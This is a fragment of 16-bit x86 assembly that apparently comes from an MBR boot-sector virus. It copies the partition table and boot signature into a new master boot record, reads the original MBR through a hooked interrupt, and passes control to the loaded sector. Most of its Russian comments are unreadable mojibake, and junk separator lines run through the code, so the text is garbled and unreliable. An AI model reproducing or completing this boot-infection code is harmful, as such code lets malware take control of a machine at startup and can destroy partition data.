mov di,offset PartitionTable ;<3B><><EFBFBD><EFBFBD>ਯ<EFBFBD><E0A8AF><EFBFBD><EFBFBD><EFBFBD> <><E0AEA7><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov cx,00021h ; = (PartitionTableSize + BootSignaturaSize)/2
|
|||
|
;<3B> <20><>ଠ<EFBFBD>쭮<EFBFBD><ECADAE>
|
|||
|
rep movsw ;MBR <20> <20><> ᠬ<> <20><><EFBFBD>饭<EFBFBD><E9A5AD> <20><><EFBFBD> <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B> ⥯<><E2A5AF> <20><> <20><><EFBFBD><EFBFBD>襬 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD>쭮<EFBFBD><ECADAE> MBR
|
|||
|
inc cx ;CH = 00h,CL = 01h (<28><><EFBFBD><E0AEA6> - 0, ᥪ<><E1A5AA><EFBFBD> - 1)
|
|||
|
sub bx,bx ;ES:BX - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov OldBootHead,dh ;DH = 00h (<28><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - 0)
|
|||
|
int NewVector ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20> MBR <20>
|
|||
|
retf ;<3B><>।<EFBFBD><E0A5A4><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>㦥<EFBFBD><E3A6A5><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;** <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⮢<EFBFBD><E2AEA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ***
|
|||
|
org 001BEh
|
|||
|
PartitionTable db 4 * 16 dup (?)
|
|||
|
PartitionTableSize EQU $ - offset PartitionTable
|
|||
|
;<3B><><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
;<3B> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>室<EFBFBD><E5AEA4><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ਯ<EFBFBD><E0A8AF><EFBFBD><EFBFBD>
|
|||
|
;<><E0AEA7><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
BootSignatura db 055h,0AAh ;<3B>ਧ<EFBFBD><E0A8A7><EFBFBD> boot ᥪ<><E1A5AA><EFBFBD><EFBFBD> <20><>⠭<EFBFBD><E2A0AD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> 55h,AAh
|
|||
|
BootSignaturaSize EQU $ - offset BootSignatura
|
|||
|
|
|||
|
cseg ends
|
|||
|
end
|